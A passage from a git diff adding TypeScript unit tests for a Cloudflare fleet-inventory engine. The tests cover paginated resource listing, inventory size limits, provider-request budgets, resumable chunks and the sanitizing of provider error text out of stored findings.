advanceCloudflareFleetInventoryStage(paged.deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }), + ).rejects.toThrow(CloudflareFleetInventoryBudgetError); + }); + + it('accepts the ten-thousandth host routing key and refuses the next one', async () => { + const keys = (count: number) => + Array.from({ length: count }, (_, index) => ({ name: `key-${index}` })); + const stage: FleetInventoryStage = { step: 'host-kv-keys' }; + const accepted = await advanceCloudflareFleetInventoryStage( + harness({ kvPages: [keys(10_000)] }).deps, + { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }, + ); + expect(accepted.rows).toHaveLength(10_000); + await expect( + advanceCloudflareFleetInventoryStage( + harness({ kvPages: [keys(10_001)] }).deps, + { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }, + ), + ).rejects.toThrow( + 'host-routing KV key inventory exceeded the supported inventory bound of 10000 items', + ); + }); + + it('accepts the twenty-five-thousandth D1 database and refuses the next one', async () => { + const databases = (count: number) => + Array.from({ length: count }, (_, index) => ({ + uuid: `db-${index}`, + name: `anchorage-db-${index}`, + })); + const stage: FleetInventoryStage = { step: 'd1-databases' }; + const accepted = await advanceCloudflareFleetInventoryStage( + harness({ databasePages: [databases(25_000)] }).deps, + { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 9, + }, + ); + expect(accepted.rows).toHaveLength(25_000); + await expect( + advanceCloudflareFleetInventoryStage( + harness({ databasePages: [databases(25_001)] }).deps, + { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 9, + }, + ), + ).rejects.toThrow( + 'D1 database inventory exceeded the supported inventory bound of 25000 items', + ); + }); + + it('resumes R2 pagination inside one jurisdiction', async () => { + const buckets = Array.from({ length: 9_001 }, (_, index) => ({ + name: `anchorage-${String(index).padStart(4, '0')}`, + creation_date: '2024-01-01T00:00:00.000Z', + })); + const { deps, calls } = harness({ buckets: { default: buckets } }); + const stage: FleetInventoryStage = { + step: 'r2-buckets', + jurisdictionOrdinal: 0, + }; + const options = { ...EMPTY_OPTIONS, includeR2Buckets: true }; + const first = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options, + progress: { ...initialProgress(options), stage }, + maxProviderRequests: 9, + }); + expect(first.rows).toHaveLength(9_000); + const resumed = first.nextStage as Readonly<{ + step: 'r2-buckets'; + jurisdictionOrdinal: 0 | 1 | 2; + startAfter?: string; + }>; + expect(resumed).toEqual({ + step: 'r2-buckets', + jurisdictionOrdinal: 0, + startAfter: 'anchorage-8999', + }); + const stagedCounts = emptyFleetInventoryRowCounts(); + const second = await advanceCloudflareFleetInventoryStage(deps, { + stage: resumed, + options, + progress: { + ...initialProgress(options), + stage: resumed, + stagedCounts: { ...stagedCounts, 'r2-bucket': 9_000 }, + }, + maxProviderRequests: 9, + }); + expect(second.rows).toHaveLength(1); + expect(second.rows[0]?.ordinal).toBe(9_000); + expect(second.nextStage).toEqual({ step: 'finalize' }); + expect(calls).toContain('r2:default:anchorage-8999'); + expect(calls).toContain('r2:eu:'); + expect(calls).toContain('r2:fedramp:'); + }); + + it('lists dispatch pages through listDispatchScriptPage, including its retry', async () => { + const { deps, dispatchRequests } = harness({ + dispatchNamespace: 'anchorage-ns', + dispatchStatuses: [429, 200], + dispatchPages: [[{ id: 'anchorage-alpha', tags: ['fleet:anchorage'] }]], + }); + const stage: FleetInventoryStage = { + step: 'dispatch-pages', + pageOrdinal: 0, + }; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }); + expect(dispatchRequests).toEqual([ + 'anchorage-ns||1000', + 'anchorage-ns||1000', + ]); + expect(result.providerRequests).toBe(1); + expect(result.rows).toEqual([ + { + kind: 'dispatch-script', + ordinal: 0, + payload: { + record: 'dispatch-script', + scriptId: 'anchorage-alpha', + tags: ['fleet:anchorage'], + }, + }, + ]); + }); + + it('stages fixed templates for both provider-error findings without provider text', async () => { + const { deps } = harness(RICH_WORLD); + const run = await drive(deps, RICH_OPTIONS); + expect(details(run.rows)).toContain( + "registered script 'anchorage-delta' could not be inspected", + ); + expect(details(run.rows)).toContain( + "plain Worker 'anchorage-ghost' could not be inventoried", + ); + for (const detail of details(run.rows)) { + expect(detail).not.toContain(INSPECT_FAILURE); + expect(detail).not.toContain(DETAIL_FAILURE); + expect(detail).not.toContain('Error'); + } + expect(run.diagnostics.join('\n')).toContain(INSPECT_FAILURE); + expect(run.diagnostics.join('\n')).toContain(DETAIL_FAILURE); + }); + + it("stages every other finding detail with today's exact bytes", async () => { + const { deps } = harness(RICH_WORLD); + const run = await drive(deps, RICH_OPTIONS); + expect( + findings(run.rows).map((payload) => [payload.kind, payload.detail]), + ).toEqual([ + [ + 'stale-script-registration', + "script inventory key '__anchorage_script__:anchorage-beta' claims 'anchorage-gamma'", + ], + [ + 'malformed-script-registration', + "fleet inventory key '__anchorage_script__:anchorage-bad' is not valid JSON", + ], + [ + 'malformed-route', + "host route 'stale.example.com' has incomplete ownership metadata", + ], + [ + 'stale-script-registration', + "registered script 'anchorage-gamma' is absent from the dispatch namespace listing", + ], + [ + 'stale-script-registration', + "registered script 'anchorage-gamma' is missing", + ], + [ + 'stale-script-registration', + "registered script 'anchorage-delta' does not match its live fleet tags", + ], + [ + 'stale-script-registration', + "registered script 'anchorage-delta' could not be inspected", + ], + [ + 'stale-script-registration', + "registered script 'anchorage-epsilon' does not match its live tenant, environment, or database ownership", + ], + [ + 'unknown-dispatch-scripts', + "dispatch script 'anchorage-orphan' has no valid owner-checked registry entry", + ], + [ + 'stale-route', + "host route 'other.example.com' does not match its script registration owner", + ], + [ + 'trusted-dispatch-namespace', + "dispatch namespace 'anchorage-ns' does not attest trusted_workers=false", + ], + [ + 'unknown-dispatch-scripts', + "dispatch namespace 'anchorage-ns' reports 1 script(s) missing from the paginated listing", + ], + [ + 'incomplete-deployment', + "trusted Worker 'anchorage-plain' is publicly reachable on workers.dev, a preview URL, or a zone route", + ], + [ + 'incomplete-deployment', + "plain Worker 'anchorage-ghost' could not be inventoried", + ], + [ + 'stale-route', + "custom domain 'orphan.example.com' points to a missing or incomplete plain Worker 'anchorage-ghost'", + ], + [ + 'stale-route', + "zone route 'zone.example.com/*' exposes plain Worker 'anchorage-plain'", + ], + ]); + }); + + it('keeps provider diagnostics out of staged rows and facts', async () => { + const { deps } = harness(RICH_WORLD); + const run = await drive(deps, RICH_OPTIONS); + const durable = JSON.stringify([run.rows, run.facts]); + expect(run.diagnostics.length).toBeGreaterThan(0); + for (const diagnostic of run.diagnostics) { + expect(durable).not.toContain(diagnostic); + } + expect(durable).not.toContain('sk-live-secret'); + }); + + it('records cross-stage drift as an incomplete-deployment finding', async () => { + let listed = true; + const base = harness({ + scriptPages: [[{ id: 'anchorage-vanished' }]], + domainPages: [[]], + zoneIds: [], + }); + const deps: CloudflareFleetInventoryDeps = { + ...base.deps, + readOrdinaryScriptDetail: async () => { + listed = false; + throw new Error('404 script not found'); + }, + }; + const stage: FleetInventoryStage = { + step: 'ordinary-script-detail', + scriptOrdinal: 0, + }; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 9, + }); + expect(listed).toBe(false); + expect(details(result.rows)).toEqual([ + "plain Worker 'anchorage-vanished' could not be inventoried", + ]); + expect(result.nextStage.step).toBe('route-claims'); + }); + + it('validates every interpolated finding value and falls back to the key ordinal', async () => { + const hostile = 'bad\u0007name'; + const { deps } = harness({ + kvPages: [[{ name: 'a.example.com' }, { name: hostile }]], + kvValues: { 'a.example.com': 'not json', [hostile]: 'not json' }, + }); + const stage: FleetInventoryStage = { + step: 'host-kv-values', + keyOrdinal: 0, + }; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }); + expect(details(result.rows)).toEqual([ + "fleet inventory key 'a.example.com' is not valid JSON", + 'script inventory key at ordinal 1 has an unsafe name', + ]); + const credentialed = harness({ + kvPages: [[{ name: 'authorization-key.example.com' }]], + kvValues: { 'authorization-key.example.com': 'not json' }, + }); + await expect( + advanceCloudflareFleetInventoryStage(credentialed.deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests: 9, + }), + ).rejects.toThrow(FleetInventoryFindingValueError); + }); + + it('stages a deployment with zero facts', async () => { + const { deps } = harness({ + scriptPages: [[{ id: 'anchorage-bare' }]], + domainPages: [[]], + zoneIds: [], + scriptDetails: { + 'anchorage-bare': { + artifactVersion: 'version-1', + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: TENANT }, + { + type: 'plain_text', + name: 'FLEET_ENVIRONMENT', + text: ENVIRONMENT, + }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '1' }, + ], + subdomainEnabled: false, + previewsEnabled: false, + secretNames: [], + }, + }, + }); + const stage: FleetInventoryStage = { + step: 'ordinary-script-detail', + scriptOrdinal: 0, + }; + const result = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: EMPTY_OPTIONS, + progress: { ...initialProgress(EMPTY_OPTIONS), stage }, + maxProviderRequests: 9, + }); + const deployments = result.rows.filter((row) => row.kind === 'deployment'); + expect(deployments).toHaveLength(1); + expect( + result.facts.filter((fact) => fact.factKind !== 'plain-text-binding'), + ).toEqual([]); + expect(result.nextStage.step).toBe('route-claims'); + }); + + it('keeps fact ordinals byte-stable across a replayed chunk', async () => { + const { deps } = harness(RICH_WORLD); + const stage: FleetInventoryStage = { + step: 'registration-checks', + registrationOrdinal: 0, + }; + const progress = { ...initialProgress(RICH_OPTIONS), stage }; + const first = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress, + maxProviderRequests: 1_000, + }); + const replay = await advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...progress, lastPageDigest: first.pageDigest }, + maxProviderRequests: 1_000, + }); + expect(replay.facts).toEqual(first.facts); + expect(replay.rows).toEqual(first.rows); + expect(first.facts.length).toBeGreaterThan(0); + expect( + first.facts.map( + (fact) => + `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`, + ), + ).toEqual( + replay.facts.map( + (fact) => + `${fact.deploymentOrdinal}:${fact.factKind}:${fact.factOrdinal}`, + ), + ); + }); + + it('refuses a provider request budget outside nine to one thousand', async () => { + const { deps } = harness({ kvPages: [[]] }); + const stage: FleetInventoryStage = { step: 'host-kv-keys' }; + const call = (maxProviderRequests: number) => + advanceCloudflareFleetInventoryStage(deps, { + stage, + options: RICH_OPTIONS, + progress: { ...initialProgress(RICH_OPTIONS), stage }, + maxProviderRequests, + }); + await expect(call(8)).rejects.toThrow( + 'maxProviderRequests must be an integer from 9 to 1000', + ); + await expect(call(1_001)).rejects.toThrow( + 'maxProviderRequests must be an integer from 9 to 1000', + ); + await expect(call(9)).resolves.toMatchObject({ providerRequests: 1 }); + await expect(call(1_000)).resolves.toMatchObject({ providerRequests: 1 }); + }); +}); diff --git a/packages/fleet-control/test/fleet-inventory-advance.test.ts b/packages/fleet-control/test/fleet-inventory-advance.test.ts new file mode 100644 index 00000000..f017ac42 --- /dev/null +++ b/packages/fleet-control/test/fleet-inventory-advance.test.ts @@ -0,0 +1,1222 @@ +// SPDX-License-Identifier: Apache-2.0 + +import { describe, expect, it } from 'vitest'; +import { + CloudflareProvisioningClient, + cloudflareFleetInventoryContext, +} from '../src/cloudflare-client.js'; +import { + type AdvanceFleetInventoryOptions, + advanceFleetInventory, + FleetInventoryAdvanceCapabilityError, + type FleetInventoryAdvanceResult, + readFleetInventoryGeneration, +} from '../src/fleet-inventory-advance.js'; +import { + type CollectFleetInventoryOptions, + canonicalFleetInventoryRunOptions, + emptyFleetInventoryRowCounts, + type FleetInventoryGeneration, + type FleetInventoryGenerationRef, + type FleetInventoryLease, + type FleetInventoryProviderContext, + type FleetInventoryRowKind, + type FleetInventoryRunOptions, + type FleetInventoryRunRecord, + type FleetInventoryRunStore, + FleetInventoryRunTokenError, + FleetInventoryRunTokenFutureError, + FleetInventoryRunTokenOperationError, + type FleetInventoryStage, + type FleetInventoryStagedFact, + type FleetInventoryStagedRow, + type FleetInventoryStageInput, + fleetInventoryOptionsDigest, + initialFleetInventoryStage, +} from '../src/fleet-inventory-state.js'; +import { canonicalDeploymentEgressPolicy } from '../src/platform-resources.js'; +import type { FleetResourceInventory } from '../src/types.js'; +import { + type CloudflareFixtureHandler, + pageArray, + recordingFetch, + restProjection, + single, + testRateCoordinator, +} from './fixtures/cloudflare-fetch-fixture.js'; +import { DRAIN_BASELINE_INVENTORY } from './fixtures/fleet-inventory-drain-baseline.js'; +import { + DRAIN_ACCOUNT_ID, + DRAIN_DISPATCH_NAMESPACE, + DRAIN_INVENTORY_OPTIONS, + fleetInventoryDrainHandler, + fleetInventoryDrainWorld, +} from './fixtures/fleet-inventory-drain-world.js'; +import { + type ProviderWorld, + providerWorld, +} from './fixtures/provider-world.js'; + +const OPERATION_ID = '123e4567-e89b-42d3-a456-426614174000'; +const FOREIGN_OPERATION_ID = '123e4567-e89b-42d3-a456-4266141740ff'; +const MAX_PROVIDER_REQUESTS = 1_000; + +const STUB_OPTIONS: CollectFleetInventoryOptions = { + hostRoutingKvId: 'hosts', + databaseNamePrefix: 'fleet-', + scriptNamePrefix: 'fleet-', +}; + +const INSPECT_SUFFIX = ' could not be inspected'; +const INVENTORY_SUFFIX = ' could not be inventoried'; + +/** + * The two provider-error details the durable engine sanitizes. The drain + * composes the transient text back from its call-local diagnostics, so the + * expected materialization is derived from the drain rather than hard-coded. + */ +function sanitizedInventory( + inventory: FleetResourceInventory, +): FleetResourceInventory { + return { + ...inventory, + findings: inventory.findings.map((finding) => { + for (const suffix of [INSPECT_SUFFIX, INVENTORY_SUFFIX]) { + const at = finding.detail.indexOf(`${suffix}: `); + if (at >= 0) { + return { + ...finding, + detail: finding.detail.slice(0, at + suffix.length), + }; + } + } + return finding; + }), + }; +} + +class FakeInventoryRunStore implements FleetInventoryRunStore { + readonly runs = new Map(); + readonly rows = new Map(); + readonly facts = new Map(); + readonly refs = new Map(); + readonly hiddenFromLease = new Set(); + readonly pins: number[] = []; + activeOperationId: string | undefined; + latestGeneration: number | undefined; + nextGeneration = 1; + leaseLost = false; + leases = 0; + + async withAccountInventoryLease( + operation: (lease: FleetInventoryLease) => Promise, + ): Promise { + this.leases += 1; + return operation(this.#lease()); + } + + async readFinalizedGeneration( + generation: number, + ): Promise { + const ref = this.refs.get(generation); + if (!ref) { + throw new Error( + `fleet inventory generation ${generation} is not finalized`, + ); + } + const rows = this.rows.get(generation) ?? []; + const facts = this.facts.get(generation) ?? []; + for (const kind of Object.keys( + ref.rowManifest, + ) as FleetInventoryRowKind[]) { + const stored = rows.filter((row) => row.kind === kind).length; + if (stored !== ref.rowManifest[kind]) { + throw new Error( + `fleet inventory generation ${generation} does not match its manifest`, + ); + } + } + return { ref, rows, facts }; + } + + async latestFinalizedGeneration(): Promise< + FleetInventoryGenerationRef | undefined + > { + return this.latestGeneration === undefined + ? undefined + : this.refs.get(this.latestGeneration); + } + + async readRunByOperation( + operationId: string, + ): Promise { + return this.runs.get(operationId); + } + + async pinGeneration(input: Readonly<{ generation: number }>): Promise { + this.pins.push(input.generation); + } + + async releasePin(input: Readonly<{ generation: number }>): Promise { + this.pins.splice(this.pins.indexOf(input.generation), 1); + } + + async pruneInventoryGenerations(): Promise> { + return { deleted: 0 }; + } + + #lease(): FleetInventoryLease { + const store = this; + return { + async assertOwned() { + if (store.leaseLost) { + throw new Error('fleet inventory account lease was lost'); + } + }, + async startRun(input) { + const existing = store.runs.get(input.operationId); + if (existing) { + if (existing.optionsDigest !== input.optionsDigest) { + throw new Error( + `fleet inventory run '${input.operationId}' has a different options digest`, + ); + } + return existing; + } + if ( + store.activeOperationId !== undefined && + store.activeOperationId !== input.operationId + ) { + throw new Error( + 'another fleet inventory operation owns this account head', + ); + } + const generation = store.nextGeneration; + store.nextGeneration += 1; + store.activeOperationId = input.operationId; + const run: FleetInventoryRunRecord = { + version: 1, + operationId: input.operationId, + optionsDigest: input.optionsDigest, + options: input.options, + state: 'staging', + progress: { + stage: initialFleetInventoryStage(input.options), + generation, + revision: 0, + stagedCounts: emptyFleetInventoryRowCounts(), + factCount: 0, + providerRequests: 0, + }, + updatedAt: new Date(0).toISOString(), + }; + store.runs.set(input.operationId, run); + return run; + }, + async readRun(operationId) { + return store.hiddenFromLease.has(operationId) + ? undefined + : store.runs.get(operationId); + }, + async commitChunk(input) { + const run = store.runs.get(input.operationId); + if (!run || run.progress.revision !== input.expectedRevision) { + throw new Error('fleet inventory chunk lost its revision guard'); + } + const generation = run.progress.generation; + store.rows.set(generation, [ + ...(store.rows.get(generation) ?? []), + ...input.rows, + ]); + store.facts.set(generation, [ + ...(store.facts.get(generation) ?? []), + ...input.facts, + ]); + store.runs.set(input.operationId, input.runRecord); + return input.runRecord; + }, + async finalizeRun(input) { + const run = store.runs.get(input.operationId); + if (!run || run.progress.revision !== input.expectedRevision) { + throw new Error('fleet inventory finalize lost its revision guard'); + } + const ref: FleetInventoryGenerationRef = { + generation: run.progress.generation, + operationId: run.operationId, + finalizedAtMs: 1_700_000_000_000, + rowManifest: input.manifest, + factCount: input.factCount, + }; + store.runs.set(input.operationId, { ...run, state: 'finalized' }); + store.refs.set(ref.generation, ref); + store.latestGeneration = ref.generation; + store.activeOperationId = undefined; + return ref; + }, + async failRun(input) { + const run = store.runs.get(input.operationId); + if (run) store.runs.set(input.operationId, { ...run, state: 'failed' }); + store.activeOperationId = undefined; + }, + pinGeneration: (input) => store.pinGeneration(input), + releasePin: (input) => store.releasePin(input), + pruneInventoryGenerations: () => store.pruneInventoryGenerations(), + }; + } +} + +/** A context that stages nothing and finalizes on its first chunk. */ +function stubContext(): FleetInventoryProviderContext & { + readonly inputs: FleetInventoryStageInput[]; +} { + const inputs: FleetInventoryStageInput[] = []; + return { + inputs, + async advanceStage(input) { + inputs.push(input); + return { + rows: [], + facts: [], + nextStage: { step: 'finalize' }, + providerRequests: 0, + diagnostics: [], + }; + }, + }; +} + +function storeWithout( + store: FleetInventoryRunStore, + member: keyof FleetInventoryRunStore, +): FleetInventoryRunStore { + const members: (keyof FleetInventoryRunStore)[] = [ + 'withAccountInventoryLease', + 'readFinalizedGeneration', + 'latestFinalizedGeneration', + 'readRunByOperation', + 'pinGeneration', + 'releasePin', + 'pruneInventoryGenerations', + ]; + const partial: Record = {}; + for (const name of members) { + if (name === member) continue; + partial[name] = (...input: unknown[]) => + (store[name] as (...args: unknown[]) => unknown)(...input); + } + return partial as unknown as FleetInventoryRunStore; +} + +async function runToCompletion( + options: Omit & + Readonly<{ + operationId?: string; + runOptions?: CollectFleetInventoryOptions; + }>, +): Promise { + const operationId = options.operationId ?? OPERATION_ID; + let result = await advanceFleetInventory({ + ...options, + action: { + kind: 'start', + operationId, + options: options.runOptions ?? STUB_OPTIONS, + }, + }); + while (result.status === 'pending') { + result = await advanceFleetInventory({ + ...options, + action: { kind: 'continue', token: result.token }, + }); + } + return result; +} + +async function drainWithClient( + handler: CloudflareFixtureHandler, + accountId: string, + dispatchNamespace: string, + options: CollectFleetInventoryOptions, +): Promise { + const client = new CloudflareProvisioningClient({ + accountId, + apiToken: 'token', + rateCoordinator: testRateCoordinator(), + dispatchNamespace, + fetch: recordingFetch(handler).fetch, + }); + return client.collectFleetInventory(options); +} + +async function boundedWithClient( + handler: CloudflareFixtureHandler, + accountId: string, + dispatchNamespace: string, + options: CollectFleetInventoryOptions, + maxProviderRequests = MAX_PROVIDER_REQUESTS, +): Promise< + Readonly<{ + inventory: FleetResourceInventory; + store: FakeInventoryRunStore; + chunks: number; + executed: readonly FleetInventoryStage[]; + }> +> { + const client = new CloudflareProvisioningClient({ + accountId, + apiToken: 'token', + rateCoordinator: testRateCoordinator(), + dispatchNamespace, + fetch: recordingFetch(handler).fetch, + }); + const store = new FakeInventoryRunStore(); + const context = cloudflareFleetInventoryContext(client); + const executed: FleetInventoryStage[] = [ + initialFleetInventoryStage(canonicalFleetInventoryRunOptions(options)), + ]; + let chunks = 0; + let result = await advanceFleetInventory({ + context, + store, + action: { kind: 'start', operationId: OPERATION_ID, options }, + maxProviderRequests, + maxStagedRowsPerChunk: 2_000, + }); + while (result.status === 'pending') { + chunks += 1; + const persisted = store.runs.get(OPERATION_ID); + if (persisted) executed.push(persisted.progress.stage); + result = await advanceFleetInventory({ + context, + store, + action: { kind: 'continue', token: result.token }, + maxProviderRequests, + maxStagedRowsPerChunk: 2_000, + }); + } + return { + inventory: await readFleetInventoryGeneration( + store, + result.generation.generation, + ), + store, + chunks, + executed, + }; +} + +// --------------------------------------------------------------------------- +// A SECOND, independent provider world. It is deliberately NOT the golden +// world and records no baseline: it drives an equivalence derived at test time +// so the drain rewrite must generalize instead of memorizing one recording. +// --------------------------------------------------------------------------- + +const SECOND_ACCOUNT_ID = 'account'; +const SECOND_DISPATCH_NAMESPACE = 'edge'; +const SECOND_HOST_ROUTING_KV_ID = 'edge-hosts'; +const SECOND_SPEC_DIGEST = 'c'.repeat(64); + +const SECOND_INVENTORY_OPTIONS: CollectFleetInventoryOptions = { + hostRoutingKvId: SECOND_HOST_ROUTING_KV_ID, + databaseNamePrefix: 'edge-', + scriptNamePrefix: 'edge-', + includeDispatchNamespace: true, + // R2 is deliberately excluded here, unlike the golden world. + includeR2Buckets: false, +}; + +const SECOND_POLICY = canonicalDeploymentEgressPolicy({ + policyId: 'policy-edge', + tenantTag: 'omega', + environment: 'staging', + allowedHosts: ['api.edge.test'], +}); + +const SECOND_KV_ENTRIES: readonly (readonly [string, string])[] = [ + [ + '__anchorage_script__:edge-one', + JSON.stringify({ + scriptName: 'edge-one', + tenantTag: 'omega', + environment: 'staging', + databaseId: 'db-edge-one', + routeHostname: 'one.edge.test', + }), + ], + [ + '__anchorage_script__:edge-broken', + JSON.stringify({ + scriptName: 'edge-broken', + tenantTag: 'omega', + environment: 'staging', + databaseId: 'db-edge-broken', + routeHostname: 'broken.edge.test', + }), + ], + [ + 'one.edge.test', + JSON.stringify({ + scriptName: 'edge-one', + tenantTag: 'omega', + environment: 'staging', + ...SECOND_POLICY, + }), + ], + ['unparsable.edge.test', 'not json'], + ['second-unparsable.edge.test', 'not json'], + // A host route whose ownership metadata is incomplete. These two extra keys + // exist so the host-routing re-read costs enough that `registration-checks` + // cannot finish both inspections inside the minimum provider budget. + [ + 'missing-owner.edge.test', + JSON.stringify({ scriptName: 'edge-one', tenantTag: 'omega' }), + ], +]; + +const SECOND_DISPATCH_LISTING: readonly Readonly<{ + id: string; + tags: readonly string[]; +}>[] = [ + { + id: 'edge-one', + tags: ['fleet:anchorage', 'tenant:omega', 'environment:staging'], + }, + { + id: 'edge-broken', + tags: ['fleet:anchorage', 'tenant:omega', 'environment:staging'], + }, +]; + +const SECOND_DISPATCH_SETTINGS: Readonly< + Record< + string, + Readonly<{ bindings: readonly unknown[]; tags: readonly string[] }> + > +> = { + 'edge-one': { + bindings: [ + { type: 'd1', name: 'DB', database_id: 'db-edge-one' }, + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'omega' }, + { type: 'secret_text', name: 'EDGE_ADMIN' }, + ], + tags: [ + 'fleet:anchorage', + 'tenant:omega', + 'environment:staging', + 'schema:3', + `spec:${SECOND_SPEC_DIGEST}`, + ], + }, + // No `spec:` tag, so the dispatch inspection refuses and the drain composes + // the transient provider text the engine keeps out of durable state. + 'edge-broken': { + bindings: [], + tags: [ + 'fleet:anchorage', + 'tenant:omega', + 'environment:staging', + 'schema:3', + ], + }, +}; + +function secondWorld(): ProviderWorld { + const world = providerWorld(); + world.zones.push({ id: 'zone-edge' }); + world.routes.push({ + zoneId: 'zone-edge', + id: 'route-edge', + pattern: 'edge.example.test/*', + script: 'edge-state', + }); + world.customDomains.push({ + id: 'domain-edge', + hostname: 'app.edge.test', + service: 'edge-state', + }); + world.durableObjectNamespaces.push({ + id: 'ns-edge', + script: 'edge-state', + className: 'EdgeState', + }); + world.seedDatabase('edge-main', { databaseId: 'db-edge-main' }); + world.seedDatabase('other-main', { databaseId: 'db-other-main' }); + // A trusted Worker reachable only through a preview URL: the arm the golden + // world never exercised. + world.seedScript('edge-state', { + versions: [ + { + versionId: 'version-edge-state', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [ + { type: 'd1', name: 'STATE_DB', database_id: 'db-edge-main' }, + { + type: 'durable_object_namespace', + name: 'STATE', + class_name: 'EdgeState', + namespace_id: 'ns-edge', + }, + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'omega' }, + { type: 'plain_text', name: 'FLEET_ENVIRONMENT', text: 'staging' }, + { type: 'plain_text', name: 'FLEET_SCHEMA_VERSION', text: '3' }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_ROLE', + text: 'platform-state', + }, + { + type: 'plain_text', + name: 'FLEET_RESOURCE_GROUP', + text: 'policy-edge', + }, + { + type: 'plain_text', + name: 'FLEET_SPEC_DIGEST', + text: SECOND_SPEC_DIGEST, + }, + { type: 'secret_text', name: 'EDGE_CREDENTIAL' }, + ], + }, + ], + deployment: [{ versionId: 'version-edge-state', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: true }, + }); + // No FLEET_SCHEMA_VERSION, so the per-script inventory refuses. + world.seedScript('edge-unreadable', { + versions: [ + { + versionId: 'version-edge-unreadable', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [ + { type: 'plain_text', name: 'DEPLOYMENT_TENANT', text: 'omega' }, + ], + }, + ], + deployment: [{ versionId: 'version-edge-unreadable', percentage: 100 }], + subdomain: { enabled: false, previewsEnabled: false }, + }); + world.seedScript('other-app', { + versions: [ + { + versionId: 'version-other-app', + tag: undefined, + mainModule: 'worker.js', + modules: [], + bindings: [], + }, + ], + deployment: [{ versionId: 'version-other-app', percentage: 100 }], + subdomain: { enabled: true, previewsEnabled: true }, + }); + return world; +} + +function secondWorldHandler(world: ProviderWorld): CloudflareFixtureHandler { + const rest = restProjection(world); + const accountPrefix = `/client/v4/accounts/${SECOND_ACCOUNT_ID}`; + const kvPath = `/storage/kv/namespaces/${SECOND_HOST_ROUTING_KV_ID}`; + const namespacePath = `/workers/dispatch/namespaces/${SECOND_DISPATCH_NAMESPACE}`; + const scriptsPath = `${namespacePath}/scripts`; + const notFound = () => + Response.json( + { + success: false, + errors: [{ code: 10090, message: 'missing' }], + messages: [], + result: null, + }, + { status: 404 }, + ); + return async (request) => { + const target = new URL(request.url); + const path = decodeURIComponent(target.pathname); + if (!path.startsWith(`${accountPrefix}/`)) return rest(request); + const route = path.slice(accountPrefix.length); + if (route === `${kvPath}/keys`) { + return pageArray(SECOND_KV_ENTRIES.map(([name]) => ({ name }))); + } + if (route.startsWith(`${kvPath}/values/`)) { + const key = route.slice(`${kvPath}/values/`.length); + const entry = SECOND_KV_ENTRIES.find(([name]) => name === key); + return entry === undefined ? notFound() : new Response(entry[1]); + } + if (route === namespacePath) { + // The namespace attests a DIFFERENT name, which is the trust arm the + // golden world never reached. + return single({ + namespace_name: 'edge-renamed', + namespace_id: 'edge-namespace-id', + script_count: SECOND_DISPATCH_LISTING.length, + trusted_workers: false, + }); + } + if (route === scriptsPath) { + return pageArray( + SECOND_DISPATCH_LISTING.map(({ id, tags }) => ({ id, tags })), + ); + } + if (route.startsWith(`${scriptsPath}/`)) { + const remainder = route.slice(`${scriptsPath}/`.length); + const settingsRead = remainder.endsWith('/settings'); + const scriptName = settingsRead + ? remainder.slice(0, -'/settings'.length) + : remainder; + const settings = SECOND_DISPATCH_SETTINGS[scriptName]; + if (!settings) return notFound(); + return settingsRead + ? single(settings) + : single({ script: { etag: `etag-${scriptName}` } }); + } + return rest(request); + }; +} + +describe('bounded fleet inventory advance', () => { + it('materializes a second independent world exactly as its drain does', async () => { + const drained = await drainWithClient( + secondWorldHandler(secondWorld()), + SECOND_ACCOUNT_ID, + SECOND_DISPATCH_NAMESPACE, + SECOND_INVENTORY_OPTIONS, + ); + // The MINIMUM legal provider budget forces `registration-checks` to stop + // mid-stage and resume, so the equivalence covers single-stage resumption + // rather than only the 15-stage walk. + const bounded = await boundedWithClient( + secondWorldHandler(secondWorld()), + SECOND_ACCOUNT_ID, + SECOND_DISPATCH_NAMESPACE, + SECOND_INVENTORY_OPTIONS, + 9, + ); + + // The world must reach the two branches the golden baseline never did, and + // both sanitized detail sites, or the equivalence proves too little. + expect(drained.findings.map((finding) => finding.detail)).toEqual( + expect.arrayContaining([ + expect.stringContaining('does not attest trusted_workers=false'), + expect.stringContaining( + 'is publicly reachable on workers.dev, a preview URL, or a zone route', + ), + expect.stringContaining(INSPECT_SUFFIX), + expect.stringContaining(INVENTORY_SUFFIX), + ]), + ); + expect(bounded.inventory).toEqual(sanitizedInventory(drained)); + expect(bounded.chunks).toBeGreaterThan(1); + expect( + bounded.executed.filter((stage) => stage.step === 'registration-checks'), + ).toEqual([ + { step: 'registration-checks', registrationOrdinal: 0 }, + { step: 'registration-checks', registrationOrdinal: 1 }, + ]); + }); + + it('refuses a provider-request budget outside 9..1000 and accepts both bounds', async () => { + for (const maxProviderRequests of [8, 1_001]) { + await expect( + runToCompletion({ + context: 